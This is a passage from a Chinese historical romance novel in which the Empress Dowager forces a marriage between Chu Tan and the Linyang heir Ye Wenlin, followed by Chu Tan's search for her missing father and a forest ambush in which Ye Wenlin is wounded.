太后的目光停留在那海棠花上，她明明看不真切，却想透花朵过去看某个人。
“喜欢，”楚檀十分谨慎，她不知太后为何要问，只能一字一字地说，“喜欢胭脂海棠。”
“是吗？”
太后的目光越发涣散，她脑子里模模糊糊出现一个人影。
胭脂海棠啊，那人也喜欢。
“是。”
她想着海棠花既在屹国被称为百花之首，说它总归不会出错，且她刚巧新识得。
可似乎，她又说错了。
“哀家也喜欢。”
还好，还好。
楚檀暗自松了一口气。
“长宁，可否替哀家剪一支过来?”
太后像是回过神来，慈爱地看向顾斐然。
“是，孙女这就去。”
待长宁公主走后，亭子里面对太后的，就剩下楚檀和祝绮。
“这姑娘是有个笑脸的，哀家瞧着就心生欢喜，”太后笑意盈盈地朝楚檀招手，“坐过来。”
“是。”
待楚檀走近后才知道，这世上的六旬老人可以保养得这般好。
“可有婚配？”
“不曾。”楚檀松了的气又提上来。
跪着的祝绮有了很不好的预感，太后想做什么？
“那哀家今日做个月老，将你许配给临阳王府的世子可好？”
太后轻飘飘的话一出，使得周围侍女一片哗然。
“这怎么使得？”楚檀更是傻了，似乎忘记对面是身份尊贵的太后，直接就拒绝了，“不可不可。”
“怎么不可了？”太后反问。
“世子殿下身份尊贵，小女是万万配不上的。”楚檀反应过来后，吓得一激灵，立刻跪了下来，“请太后收回成命。”
“是啊。”
祝绮也被吓得不轻。
见楚檀会如此抗拒，她才壮起胆子说了一句。
远处的众人见楚檀惊慌失措地跪了下去，也不知发生了什么。
太后脸上还是一片慈祥。
“那你是觉得哀家无理取闹了？”太后依旧端着笑。
“不是，小女只是觉得，小女实在高攀不上临阳世子。”楚檀头晃个不停。
“你看看你与世子今日都同穿绿色衣裳，这多有缘分啊。”
楚檀一早也注意到自己的衣裙与临阳世子的长衫同为官绿色。
可是，两者差别过大，论谁都不会往有缘的方向想去。
这是个什么荒唐理由！
“在场姑娘也有着此色衣裳。”楚檀低着头不敢看太后，只能小声地反驳。
“你是觉得谁都能和临阳世子结亲吗？”
太后的声音终于落了下去，气氛紧绷，剑拔弩张。
“不是，可是......”
楚檀还想说些话来拒绝，可她嘴拙，脑子根本转不过来，不知道该说些什么。
“去让那孩子也过来吧。”
看一个人拒绝多无趣。
“臣参见太后娘娘。”
“起来吧。”
“温凛啊，前些天你不是去了缘诏寺吗？可是去求姻缘？”
“是。”
叶温凛苦笑，看来他调查柳家之事人尽皆知。
太后像是打趣他一样，指着地上的楚檀说道：“这不巧了，你看，哀家给你找了个活泼的姑娘。”
“你一向话少，这个姑娘这个倒是多话，以后你的日子啊，可少不了乐趣。”
叶温
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凛总算是知道楚檀为何这幅模样了。
“太后娘娘，臣与楚姑娘不过有一面之缘，谈及婚姻怕是不妥。”叶温凛走上前，不急不缓地拒绝，“还请太后收回成命。”
“叶卿既没婚约，又前去缘诏寺，这有何不妥？”太后一副有理的模样，“而且，你们不是只有一面之缘吧。”
“确实只见过一面，”叶温凛不多解释，只是愈发坚定，“请太后收回成命。”
“请太后收回成命。”楚檀见叶温凛态度坚硬，或有望。
可一阵一阵的凉风吹来，失望渐渐涌上心头。
良久，太后扶额叹气，“算了，叶卿既不愿，我也没有法子。”
楚檀还没来得及欣喜，太后接着说道：
“可是哀家今个都开口了，你要是不喜欢临阳世子，那太子可好？”
要说方才是惊吓，那么现在便是，晴天霹雳。
春风吹起青丝拂过她慌乱的脸庞，楚檀嘴唇也跟着颤抖，“小女身份低微，更是配不上太子殿下的。”
说完，哆嗦更甚。
她怎么敢，怎么敢拒绝太子啊。
“又是身份低微，”太后往后一靠，语气意味深长，“身份低微又如何，你不知圣上的母妃就出身于八品之家吗？”
身份低微好啊，低微好。
“你这是在质疑哀家？”
“臣女不敢。”
她向来脑子笨，看不清许多事，可这一次，她隐约猜到太后的意图。
看她顺眼，想给她找个好人家是假，借她羞辱皇上太子是真。
要是她真进了东宫，朝廷官员怎么看太子殿下。
她又会陷入什么处境。
她想不出来。
“你怎么会不敢，你一而再再而三的拒绝哀家，我看你敢得很！”
最后一句，太后咬得很重。
“太后恕罪，太后恕罪。”
楚檀吓坏了，脑袋空空，思绪无所踪，她开始拼命磕头。
额头上的伤，膝盖上的痛，都不能让她停下来。
直到，有人用手掌抵住了她的额头。
叶温凛将她扶正，对着太后道：
“太后，臣方才想了想，楚姑娘蕙质兰心，能与她做夫妻是臣的荣幸。”
“你知道就好。”太后哈哈笑起来，转向楚檀，“你呢？”
“一切听太后的。”
她呼吸不上来。
她无从选择，临阳世子才是生路。
“你们既然都满意，那这婚事也别拖了，就下个月吧。”
“臣遵命。”
“臣女遵命。”
太后将顾斐然刚刚摘来的花递给楚檀，又将两人的手叠在一起，“那哀家就在这祝你们琴瑟和鸣。”
太后拍了拍叶温凛的手背，“这时间紧急，温凛也别忙于公务，就在家好好筹备，可得让这姑娘风风光光嫁入你临阳王府才行。”
“是。”
恍惚间，太后好想还说了什么，可楚檀怎么都听不清。
甚至她都不知是如何回来的。
“楚姑娘，楚姑娘？”叶温凛见楚檀没有反应，再次轻唤，“楚姑娘？”
丢了魂魄的楚檀，“啊？”
“可是被吓到了？”
楚檀低头，“没有。”
“虽然这门婚事并非你所愿，可既已答应，那我们以后便是夫妻了。”
“夫妻？”
“是，”叶温凛盯着楚檀的脸，“我给不了太多，只能保姑娘一世无忧。”
毕竟，他也一无所有。
楚檀缓缓抬头，叶温凛没了往常的笑容，只是静静看着自己。
她的眼泪突然就落下来，“如此，已是足够。”
8. 失踪
“简直欺人太甚！”
太子气急，桌上的东西全被摔在地上。
要不是他不愿与太后待在一块，早早离开了，怎么会让赐婚这种事发生。
“殿下莫气。”叶温凛坐在一旁，吩咐人重新上壶茶来。
“我怎能不气，你也是，”顾承启怎么也想不通，“你说说你，好好地，你出什么风头。”
“大不了，孤纳了她便是，东宫难不成还容不下她了？”
“要是楚姑娘进了东宫，怕是活不过三日。”
“你倒是心慈，”顾承启对此无话可说，“那可是世子妃之位。”
“世子妃之位什么好稀罕的。”
太子渐渐察觉不对，“你这什么话？”
“要不是缘诏寺的高僧曾言你不宜过早议亲，怕是临阳王府的门槛早被踏破。”
“再怎样也轮不到她一介九品之女做你的世子妃。”
“我觉得楚姑娘极好，为人娴静沉稳，是个省心的。”
沉稳？
他赶到时，只见那楚家女一脸六神无主的模样，哪来的沉稳。
“罢了罢了，待日后，孤另为你择一门好亲事。”
“殿下莫要操心了，眼下最重要是寻谁来接管春闱之事。”
叶温凛任礼部侍郎，掌管科举之事。
如今他休浴在家，也不能将春闱权利落入太后手中。
太子也知兹事体大，才召来部下商议。
众人经过论争，后听取太傅之意，选叶温凛手下的姜行代职。
事情得到解决，众人散去。
待告辞之际，叶温凛背着顾承启说道，“殿下且看好了，我叶温凛就算是没有家世显赫的妻族，也能直上云霄。”
太子一脸沉重，早不见开始的气愤，只是望着叶温凛远去的背影，眉头紧皱。
“又何必要给自己雪上加霜。”
叶温凛想来就觉好笑，没想到自己居然如那小孩一般，净说些这么个话。
也不知道受什么刺激了。
他的笑落在临阳王叶勉眼里，变得十分刺眼。
他站在门口阴沉着脸，“亏你还笑得出来。”
“父亲。”叶温凛收了笑，恢复以往端正矜贵模样。
“你随我来。”
两人到了书房，不免又是一顿争吵。
“你一向稳重，怎随意应下自己的终身大事。”
“父亲，如若我不娶，太后也会将她塞给太子殿下，要是楚氏真让进了东宫，不是诚心膈应圣上吗？”
圣上就因母族势弱，在太后底下受了不少苦，如今不到不惑之年，就已白发苍苍。
就算以圣上如今的势力，太后不可能将楚檀推上太子妃，可太后开口，又怎会是寻常妾室。
“要是太后时刻提起楚氏，提及她的身份，难保圣上不忆起往事。”
一想到唯一的嫡子也不能完全脱离太后掌控，圣上会做何想？
“到时惹得圣上不快，于我们又有何益？”
“圣上岂是那种不明事理之人。”
“说到底，是我先拒了，太后才会起问殿下。”
“太子殿下自会拒了。”叶勉冷哼。
“父亲怕不是忘了，太后六十大寿将至，以孝道施压，殿下如何能拒？”
“而且这样一来，世家只会对太后越发不满，而殿下亦无损。”叶温凛面上的讥笑险些藏不住，“父亲不是一直说要忠于太子殿下吗？”
连临阳世子的婚事太后都可以为所欲为，其他人呢？
太后这伤敌八百，自损一千的做法，叶温凛倒是乐意接受。
“本王是让你这么忠于的吗？”
叶勉觉得叶温凛如今是越来越口齿伶俐，哪有半分外人传言的恭俭温良。
“温凛一直谨记父亲教导，从未忘过。”
叶温凛应对叶勉可谓是驾轻就熟，一番争论下来，也不见颓靡，只是回去的路上见到被砍的海棠树，突生无力之感。
他得承认。
父亲不是不知，他只是不能忍受他叶温凛的妻子被人比下去而已。
不然他怎么不进宫退婚，而是在这砍树泄愤。
相较于叶温凛的无力，楚檀则是心如死灰。
楚檀这次倒是没有像上次一样瘫倒在地，只是握住小寇的手，眼神无光的说道：“小寇，我要嫁人了。”
“姑娘你在说什么？怎么就要嫁人了？”小寇摇着楚檀的双肩问道。
姑娘这话比上次说的还要吓人。
怎么就要嫁人了？
小寇急得不行，可姑娘说完就待在屋里，直到睡下，也没再开口。
楚檀睡得很不好,梦到前天的黑衣人,七窍流血，使劲掐着她的脖子。
等她好不容易挣脱开，接着又被一张织锦遮住面容，呼吸不得。
醒来才发现那张快要将她置于死地的织锦是赐婚圣旨。
之前还念叨父兄今年春日繁忙，如今她这几天，也忙碌的不像话。
成亲在即，应当一切从简。
可临阳王府却有大办特办的意思，这王府的人来了又来。
她夜里常从噩梦中惊醒，白日里忙着准备婚礼，不曾有一丝空闲。
这让她苦叫连天，整日里精神恍惚，每每撑不下去时，就想着爹爹会早日归来。
可惜，楚檀没等来楚父。
送信的人赶到时，村里人说楚父早已归家。
楚檀把最后的定金拿出来时，整个人不受控制地抖了起来。
连送信人都回了京城，那爹爹为何未归？
她扔下家中事务去了太史局，向王大人言明情况。
王大人也只是个小官，除了上报上级，也束手无策。
接着她马不停蹄地去了大理寺。
官员失踪，不是小事。
所幸官差并没有像上次一样打发她。
楚檀一边庆幸一边述说，只是当她提到楚父只是失去联系时，登记之人开始变得不那么在意了。
“你这姑娘，我还以为你父亲消失多日呢，”官差懒散地安慰她，“许是路上耽搁了，又刚好与镖局的人错过。”
又或者去哪儿厮混，
谁也不知道。
“不会的，爹爹他如遇意外会向家里来信，不会无缘无故没了音信。”
“我知道了，知道了，”官差点头回答，“一有消息，我自会通知。”
楚檀又问起兄长,官差悄悄告诉她莫要多问，人现在是安全的，再问下去他可不能保证。
她当即表示不再过问，回了家去。
可她左等右等，几日转眼即过，还无任何消息。
她再也坐不下去。
当即就要出门寻人。
“姑娘，你就带着小寇吧，带着吧。”小寇围着收拾衣物的楚檀不停打转。
“不行，你还太小，我放心不下，”楚檀摸摸小寇的头，“要是爹爹回来，你我都不在，他该担心的。”
“可是姑娘你一人上路，我也很担心。”她拉住楚檀的包袱，“要是姑娘在路上遇到什么意外，让小寇如何是好？”
“我雇了镖局的人护送我，并非一人。”
小寇还是放心不下，“带一个陌生人在身边怎能行，姑娘你还从未出过远门。”
可她忘了，自己从出生起也未离开过京城。
不过小寇担心的事并没有发生。
因为临阳王府的人拦住了楚檀。
*
“楚姑娘，大婚在即，您要去哪？”青鹰伸手拦住了楚檀。
看着从青鹰身后走过来的叶温凛，楚檀没有隐瞒，“临阳世子，我爹爹如今没了音信，我得去寻他。”
“怎会没了音信？”
叶温凛这一日忙得很，楚家之事他还未问起过。
“送信之人说我父亲早该回家了。”
楚檀将她前往太史局和大理寺的事情一一向他解释。
“我知楚姑娘思念父亲，可寻人一事，若无准备，只怕会无功而返。”
“我雇了侍从。”
“姑娘可知怎么去石头镇？”
“知道。”
“出城三十里后，是要往左走青山镇？还是往右进云翳村？”
“......”
叶温凛看着没有声音的楚檀，语气轻柔，“楚姑娘，先进屋再说可好？”
楚檀点点头，自顾自回去。
没走几步，又回来把叶温凛带到前厅。
静静斟好茶后，对着叶温凛客气说道，“请世子见谅，我家茶水怕是比不上清茗园。”
“无妨，楚姑娘请坐。”
楚檀不想耽误时间，“距成亲之日还有半月之久，我去去就回，不会误了婚礼。”
“还请世子放我出城。”
没有叶温凛的许可，临阳王府的人怕是会把楚家围个水泄不通，她插翅难飞。
“楚姑娘，我并非要拦你，只是石头镇路途遥远，以防意外。”
“可我已经雇好镖局之人，还请世子放心。”
“我一定会安全回来，绝不会耽误事。”
“我明日要出城办事，恰巧与姑娘同路，姑娘如果信我，你我可一同出行。”
“可好？”
“好。”
楚檀没有犹豫，临阳王府的马车肯定更快。
叶温凛没想到她会这么爽快，“明日卯时，我来接楚姑娘启程
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。”
楚檀松了口气，对着叶温凛真诚致谢，“只要这次能让我找到父亲，楚檀进入王府后绝不妄自插手王府之事，也不会过问世子的私事。”
“私事？”
“我知世子已有心上人，娶我本就是出于无奈，我也不愿坏扰世子的好事。”
楚檀无意中从临阳王府的仆从中得知这件事。
“是青灯常伴，皈依佛门，”楚檀有些停顿，咬咬牙，“还是远走他乡，一切都听从世子安排。”
“楚檀绝无二言。”
说道最后，楚檀站起身来对着叶温凛重重行了一礼。
她如此敢豁出去，不过是想要叶温凛能助她找到爹爹而已。
她最近总是心绪不宁，直觉出事了。
上次出现这种直觉还是娘亲回光返照时，她不敢不信。
“远走他乡作甚？”叶温凛越听越糊涂。
“假死脱身，然后远走他乡，”楚檀说着说着还举起手发誓，“我不会占着世子妃之位不放的。”
“假死脱身？”叶温凛看着楚檀一脸认真的模样，忍俊不禁，“楚姑娘说笑了。”
“不需做什么常伴青灯，楚姑娘只需做好世子妃。”叶温凛怎么也止不住笑，“我也没有什么意中人，以讹传讹的话姑娘不必信。”
“即使如此，我听世子的。”楚檀自是不信，但也只是点点头。
两人没了话语，屋内顿时陷入安静。
“楚姑娘有话不妨直说。”楚檀面上尽是欲言又止，叶温凛想忽视都不能。
她猛地喝口茶，想给自己壮壮胆，可茶杯像是诚心跟她作对似的，不受控制从指尖滑落在衣裙。
楚檀看着裙摆处晕开的茶水，没头没脑地说一句，“我今日都换了两次衣裳了。”
叶温凛一怔，这是什么话？
“姑娘辛苦了。”
“楚檀还有一事，想请世子帮忙。”楚檀劝告自己，她并非有意告状。
“楚姑娘请说。”
“待我出城后，家中只有侍女小寇一人，她人胆小又不懂规矩，许多事我尚且都不懂，更何况她一个小孩。”
“所以楚檀在此麻烦世子安排个温和好说话的嬷嬷。”
在太后赐婚的第二日，叶温凛来了一趟楚家，楚檀向他言明家中情况，她父兄皆不在家，准备婚礼一事，她一无所知，需要临阳王府派人前来相助。
高高在上的临阳世子娶她一个名不经传的女子，王府的人心里不满，语气冲些，也在情理中。
她不在意，倒是无妨，可她有次瞧见小寇含泪的双眼，明显是受了欺负。
她无权管责，但是临阳世子还是可以的。
“好。”叶温凛心一动，眉眼舒展。
楚檀这下彻底放下心来，她已无顾虑，想起来还未问叶温凛来有何事。
“生辰八字?”
自古以来，纳彩、问名、纳吉、纳征、请期、亲迎合称六礼，乃是昏礼礼数。
叶温凛今日正为问名而来，问楚家姑娘的姓名及生辰八字。
“世子请稍等，我去找找看。”
楚檀自己不是很清楚自己生辰，她记得娘亲去世前跟她说过，似乎是放在爹爹的书房里。
楚父书房书籍甚多，楚檀这一找，就没再出来。
小寇在一旁站立不安，也想陪她进去。
只是客人还在，她也不能撇下不管。
“找到了，找到了。”楚檀顶着一身灰，跑到叶温凛身前。
小寇终于可以松一口气，可是，终究没完全下来。
“姑娘！”
“楚姑娘？”叶温凛扶起摔倒的楚檀，“无事吧？”
“无事，无事。”楚檀闭着眼站起来，着实想把脸埋下去。
这也太丢人了。
“楚姑娘竟比世子还要早上一天?”青玉捡起落在地上的信笺。
楚檀闻之，睁开眼，有些疑惑，“世子不是及冠了吗？”
叶温凛看了一眼，“我大你两岁。”
“那我们以后的生辰也一起过？”楚檀欢欢喜喜地问道，“你可喜欢喜欢长寿面？我做的长寿面可好了。”
出乎意料的是一向礼数周到的叶温凛没有作答。
许是临阳世子温文尔雅的形象在楚檀心中扎了根，她一看他如此反应，暗叹不好。
她僭越了。
也太得意忘形了。
楚檀直怪自己在家过与放松，她竟忘了叶温凛的身份。
堂堂临阳世子怎会稀罕这些吃食。
不过沉默几瞬。
叶温凛拍掉楚檀肩上的灰，若无其事地低声回她，“好啊。”
“成亲后，本就是要一起过的。”
9. 路上
楚檀小心翼翼地出门，没有把小寇惊醒。
晨光熹微，楚檀抱着包袱，背靠门板，看着微明的天色陷入沉思。
也不知兄长和爹爹如今过得怎么样。
“世子，楚姑娘已经在门口等着了。”
叶温凛闻言掀开帷幔，望见不远处的人闭着眼睛，微弱的晨光罩在脸上，安静的出奇。
待人上来，也是静悄悄。
楚檀哪敢像昨日那般放肆，叶温凛不过静默须臾，她就开始担心是否说错话。
而且她头一次与除爹爹和兄长之外的男子在一辆马车上，她颇有些尴尬，双手不知放哪，只好抱着包袱。
叶温凛递给楚檀一盒点心，“现在还未到辰时，楚姑娘怕是还未用过早膳，吃些东西垫垫吧。”
“多谢。”
楚檀吃点心的时候慢吞吞的，她本来就没有胃口，又不想发出声音打扰到叶温凛。
在此之后，叶温凛一直端正看书，偶尔会问问楚檀有什么需要。
马车行驶在平坦的官路，楚檀时不时地眨眨眼，细微的颠簸让她睡意慢慢涌现上来，而后眨眼动作越来越缓慢，直至完全闭上眼睛。
叶温凛见她沉沉睡去，对外面赶车之人轻声道，“青鹰，赶路仔细些。”
“是。”
他们就这么相安无事的赶了两天路，终于到了楚父勘察的石头村。
楚檀下马车后悄悄动了动快要散架的身子，面上是不敢露出一丝不舒服。
不管是叶温凛还是青鹰青玉都未曾喊过一句累。
石头镇景象与京城有着云泥之别，低矮小屋，阡陌纵横。
他们一行人一路询问才来到村长家中。
“有人在吗？”楚檀站在篱笆外，瞧着里面木门紧闭，不像是有人在的样子。
“此时正是用午膳的时辰，会去哪呢？”
石头镇虽有一个镇字，却是个偏僻的小村子，平日里鲜少有人来往，是以，楚檀一行人的到来十分引人注目。
村长隔壁的大娘是个好热闹的，，“你们找村长啊？他上他二弟家了。”
“那大娘能否请您帮忙带个路。”青玉给人拿了些铜钱。
“哎呦，这怎么好意思，” 那大娘一见还有这好事，笑呵呵地指着一条路，“我现在就带你们过去，往这走啊，往这边。”
“村长，村长，”大娘还没进门就开始大声呼喊，“有人找你，你快出来。”
“来了来了，谁我我啊？”
石头镇的村长是一位瘦瘦干干的老者，他先是扫了一遍来人，接着拄着拐杖到了楚檀跟前，“你可是楚大人的孩子啊？”
“是是是，小女楚檀，”楚檀连忙点头说明来意，“晚辈有些事向请教您。”
老村长想到前段时日来村子的人，顿时明白了，“可是你父亲还未归家？”
叶温凛心想着村长是个敏锐的，“村长为何这么说？”
村长不答反问，“你是何人？”
楚檀见村长对她与叶温凛的态度截然不同，试探说道，“他是我兄长楚遇。”
此时村长身边另一位老大爷笑呵呵对着叶温凛招呼， “原来是楚大人的长子啊。”
叶温凛很是赞许地对着楚檀一笑。
好姑娘。
楚檀嘴角微微上扬，坦然接受。
之后两人向村长打听楚父的行踪。
只是村长和送信人所说相差不大，眼看就要一无所获时，老大爷一拍脑袋，说道，“楚大人会不会是去了月婆村？”
原来老大爷闲聊时，从孙子口中得知楚大人离开那日在村门口停留过，当时正巧走过
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一支迎亲队伍。
“楚大人还向小儿打听这户人家是来自哪里呢？”
“楚大人没有没可能去了月婆村？”
“不管有没有可能，我们都要去一趟月婆村。”叶温凛看着楚檀点了点头，两人打算就此启程，“多谢两位告知，那晚辈就先告辞了。”
“走吧，路上小心。”村长那双混浊的眼里竟有些警告的意味，“路过月婆村的林子多有毒蛇，你们切记不要在那过夜。”
“多谢老村长。”楚檀由衷感谢，她终于有了爹爹的消息。
“不愧是楚大人教出来的孩子，都是个懂事的。” 老大爷明显很欣赏楚父，却也有些唏嘘，“不过也是没想到，楚大人如此偏心，给儿穿那么好的衣裳，女儿就寒酸了些。”
接着又望着叶温凛的背影颇为恨铁不成钢地摇摇头，“做哥哥的也不知道心疼心疼妹妹。”
村长二弟耳朵不好使，说话也就大声了些。
楚檀：“！！！”
老大爷这是做什么！
他们还没走多远，听得是一清二楚。
楚檀飞快地看一眼叶温凛，他倒是大方，被无缘无故指责也没生气。
“下次我还是当世子的侍女吧。”
叶温凛不甚在意，看楚檀讪讪的表情心里直笑，虽觉不会再有下次，但也应着，“好。”
见人走远，老村长拿着拐杖推开他二弟，“你动动脑子，他们二人哪像是兄妹？”
“怎么不是了？我倒觉得长得挺像的。”
“你啊你，不仅聋还瞎！”老村长忍着想拍人的冲动，巍巍颤颤进屋去了。
“哪像了？他们一看就是对小夫妻。”
“他们是夫妻？！”老大爷大惊，赶紧跟了上去，“大哥怎么知道的？”
“去去去。”
10. 波折四起
昨夜下了大雨，楚檀坐在马车里还能闻到泥土的气息。
他们踏晨露而出，不久，马车驶入一片深林小径。
这就是老村长所说的林子吧。
楚檀趴在轩窗上，自从有了父亲的消息，她瞧着林中的景色也美了些。
叶温凛依旧在看书，赶车的青鹰规规矩矩。
青玉叼了根狗尾巴草东张西望。
忽地，青鹰耳朵动了一动，发现林中似有异样。
一支箭唰的扎在马车前，马儿被惊得往上一跃。
随着沙沙的声音传来，只见漫天而来的箭镞。
宁静刹那间被打破。
“不好！”
青鹰话音刚落，叶温凛俯身关上楚檀边上的轩窗。
楚檀一开始不知发生什么，歪过头疑惑的看向他。
此时她腰后的木板钉上一支箭簇，耳边伴随着赶车马儿痛苦的叫声。
她瞬间绷紧了，腰间似被穿透，心也如马车一般晃动不安。
“发生什么事了？”
青鹰青玉连忙拔剑抵挡，那箭多如牛毛，他们手里的剑都快转成风了。
“青鹰青玉，先进来。”叶温凛把楚檀带到身旁，挪出位置留给青鹰青玉。
外头动静听着唬人，不过没有一只箭头刺入马车。
想来是个不中用之物。
青玉一进来满头疑惑，“世子你又惹到谁了？”
“本世子一向安分守己。”叶温凛一改往常，接了青玉无聊的话。
“可我们很久都没被人追杀了。”
“上次在临阳王府不是遇到了吗？”
“是了，”青玉一脸恍然大悟，“上次结束太快，给忘了。”
许是他们交谈过于轻松，楚檀变得不再那么害怕，“你们常常遇到，遇到这种事吗？”
不然怎会如此平静。
“不经常，”叶温凛歪头一想，一脸遗憾，“不比太子殿下多。”
楚檀：“......”
这有什么好比的！
他们不过几句话的功夫，外头的动静小了许多。
一直蹲在车门口的青鹰一脸平静，“停了。”
青玉也挤过去往外看，除了马叫声，林中很是安静。
“咦？”
只放箭？不来人？
“来了。”
青玉青鹰彼此对视一眼，收了脸上轻松的神色。
不像刚刚不痛不痒的射箭，来的这群人杀意更甚。
“来得正好。”青鹰动了动脖子肩膀，语气没有丝毫惧怕，一把掀开帘子迎战。
青玉跟在后面。
一盏茶功夫。
“这么多人？”青玉打得哇哇叫，来人身手虽在他们之下，可胜在人多，一时半会还解决不完。
“你少废话，快打。”
“世子救命。”
“你安静些。”
两边僵持不下，对方似乎也意识到硬碰硬不行，也不想与他们多做纠缠。
领头大汉举起大刀，示意旁人先不要动手。
“我与你们无冤无仇，并非想要你们性命，只要你们交出马车中的女子，便饶你们一命。”
此话一出，连叶温凛都是一愣。
“楚姑娘？”
楚檀瞳孔放大，整个人直往里躲，她不过是想找到爹爹而已。
为什么他们杀她？
青鹰极其没有眼力见的感叹，“世子你居然还有被连累的一天。”
接着被叶温凛的一半书卷砸到脑袋。
“青鹰！”
青鹰挠挠脑袋，中途还翻了个白眼。
叶温凛的另一半书卷飞向说话的大汉。
“打。”
“兄弟们别不客气了，给我都杀！”大汉来不及躲避，恼羞成怒，“让你们敬酒不吃吃罚酒。”
见交谈不成，对方下手越来越狠，人越来越多。
“小心。”
叶温凛踹下跑上马车上的人，一把将楚檀拉了出来，“这里交给你们，我先带楚姑娘走。”
既然知道对方想要的是楚檀，便不好再让她呆在此处。
“你们一切小心。”
“世子不必担心。”
青鹰双手各持一刀，动作凶猛，无人敢近其身，青玉也毫不示弱，一剑一人。
叶温凛担心的不是他们，而是楚檀。
他将人带到听不到打斗声的地方才停下。
楚檀扶着树干，喘着气擦掉额头上的冷汗，“多谢世子。”
她有那么一瞬以为叶温凛会把她交给他们。
“楚姑娘可是与谁结了仇了？”
“我不知道，我根本就不认识他们。”
楚檀也想不通，除了少时与贺知兰闹过别扭，她还得罪过谁？
话音刚落，叶温凛突然转向身后，环看四周。
春风轻拂，树叶缓缓落下。
叶温凛半回头，笑容浅浅，“去树后面。”
楚檀照做，麻利跑到树后。
“各位何不出来一见？”
随后四五人自各个方向袭来，手法毒辣，招招致命。
楚檀背靠在树干上，只听刀剑声，良久，她才敢露出一只眼来观察。
这几人的身手远比上一群汉子要好太多，所幸叶温凛应对起来还算轻松。
不多时，已有三人被叶温凛解决。
他抬手以一剑挡住两个黑衣人攻击，后一个回旋将人踹伤在地，一人还能起来，抬腿就跑。
叶温凛追上将剑抵在黑衣首领脖颈上，“这位仁兄，先说说是谁派你们来的再走也不迟。”
“休想我多说一句。”说完，脖子贴着剑，身躯一转，自刎而死。
“你，”叶温凛想到什么，回头一看。
躺在地上的人猛地一咬后牙，刹那间身体抖个不停，口吐鲜血，面容扭曲。
“何必如此，”叶温凛看着地上横七竖八的尸体，眼里还有些余温，“我又不要你们性命。”
“世子？”楚檀自树后出来，弱弱地开口，“你可有受伤？”
“没有，”叶温凛向她跑来，“此地危险，我们换个地方。”
“好。”
叶温凛来过楚檀小臂，跑了起来，“快走。”
跑着跑着，楚檀感觉到有一股旋风向她眉心扎来。
千钧一发之际，叶温凛揽住楚檀的肩，避开了迎面来的暗器。
她的心似乎要从口中跳出来，额头上顿时布满冷汗。
好险，好险。
叶温凛脸上不见方才的从容，脸上满是凝重警惕。
他放开楚檀，然后迅速加入打斗中。
他这次可是遇到高手了，两人武功不凡，他方才消耗不少体力，打起来颇为吃力。
他接连被砍，身体四处都在流血，甚至差一点就没躲过刺向心脏的一剑。
两人武功都与自己不相上下，待他好不容易处理掉其中一人，决心不再恋战，跑回楚檀所在之地，带着她跳上树头，往森林深处飞奔而去。
身后之人也没有放弃追赶，死死咬住他们，往他们射来的暗器更是不断。
楚檀不知道他们跑了多久，她躲在叶温凛怀里瑟瑟发抖，不敢吭声。
她脑子里总有一句话响起：无论遇到什么危险，切记不要慌张大喊。
不要慌张。
不要大喊。
她不停地在心里默念，渐渐地，她有些了理智，也感觉到抱着她的左手有些力不从心了。
就在叶温凛稍稍放慢速度，将要换手时，楚檀在浓浓的血腥味中闻到一股莫明诡异的香味。
叶温凛的肩膀又被划出血来。
叶温凛闻到香味暗叹不好，是兰蝎子毒，短短几步，身体开始有了异样。
如此，他只能赌一赌了。
叶温凛将楚檀放在宽厚的树枝上，回头又与那人厮杀起来。
好在，他赌对了。
那人见他回来，出乎意料的有些慌乱，以他现在有的暗器，不一定能胜过他。
叶温衣袍破烂，染尽鲜血，他拼尽全力才得以险胜。
楚檀见叶温凛跪在地上，担心至极，连忙下去。
“世子还好吗？”楚檀跑到他身边，只见他闭着眼一直不停的喘息。
自己这是什么蠢话，他身上全是血，还能好？
“我还好，”叶温凛强装无事，甚至还对楚檀有些好奇，“姑娘还会爬树？”
楚檀噎住，蹲在叶温凛面前，“不会，硬着头皮爬下来的。”
她不敢看那些血肉模糊的四肢，只能盯着叶温凛的脸，“世子，先处理伤口才行。”
她起身要去找草药，却被叶温凛拉住了，“来不及了，附近怕是还有他们的同伙，此地很是危险。”
“可是你伤得太重了。”
“先走，之后再处理。”叶温凛态度强硬，“他们两个不是一般人，其余人迟早会追到这里来。”
“我们走远些再处理。”
“先处理。”楚檀坚持，“万一没有其他同伙呢？世子伤势过重
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，不能拖。”
“先走。”叶温凛拉着楚檀就走，“楚姑娘信我，此地不宜久留。”
楚檀不是不信，只是叶温凛是为救自己才会受这么重的伤，要是在中途伤势加重，错过救治的最好时机，她又该如何面对。
可是世子他。
算了，她这个想法，许是个馊主意。
楚檀轻轻甩了叶温凛拉她的手，在叶温凛诧异的目光下，她右手扶住他的手臂，左手从身后围住他的腰，好让他走起来不再那么艰难。
“得罪了。”
她如今是顾不上什么男女授受不亲了，先逃命要紧。
“多谢。”
“原本就是我连累了你。”
“世子为何要救我？”
别说他们还未成亲，就算是成了亲，也无情分，他完全可以先走，何必遭罪。
楚檀虽万分庆幸叶温凛救下她，也不敢把后面的话说出来，万一叶温凛真自己走了，她可就走不出这林子了。
叶温凛一瘸一拐地往前走，尽量不把身体靠在楚檀身上，“你我有婚约在身，我救你不是应该的吗？”
“再说了，你我一起出城，要是你在这林中遇险，我回去也不好交代。”
他并未将救她的理由全盘托出，不过这姑娘倒是深信不疑。
“多谢世子，”楚檀一脸郑重，“我回去之后一定会好好报答你的救命之恩。”
“我们能出去便是上天保佑，姑娘无需报答。”
何况，他们还不一定能活着出去。
“曾有道士说我可以活到八十岁，”楚檀坚信，“上天会保佑我们出去的。”
“那就托姑娘的福了。”
“可世子还好吗？还能走吗？要不我们歇歇？”
“我还好，还能走。”
他话虽说得轻巧，可是脚下却越来越艰难。
他们好不容易走到了一条溪水边，叶温凛最后体力不支，将要倒地。
楚檀眼见他就要磕到地上石子，就想将他扶起来，可奈何力气不够，小臂生生让叶温凛压下去。
好疼。
那石子凹凸不平，尖锐的地方跟针似，扎起来可真疼啊。
“楚姑娘？”叶温凛翻个身让楚檀的手臂拿出来，“怎么样？”
“不疼不疼。”楚檀使劲闭着眼，亏得这痛楚，让她更加清醒。
她一刻不停地给叶温凛处理伤口，叶温凛身上的皮袍没有完好的，她开始使劲咬自己的里衣。
“这是做什么？”
“要用干净的布匹包扎伤口才行。”楚檀好不容易撕下一块，包在叶温凛血流不止的小腿，“世子不要介意。”
这里衣乃是贴身之物，她怕叶温凛这样清亮高洁之人不能接受。
叶温凛笑得无奈，“我不是老古板，还是性命要紧。”
他坐起来，从怀里拿出一把很小的匕首，“用这个。”
有了匕首，她转身背对着叶温凛割起里衣来。
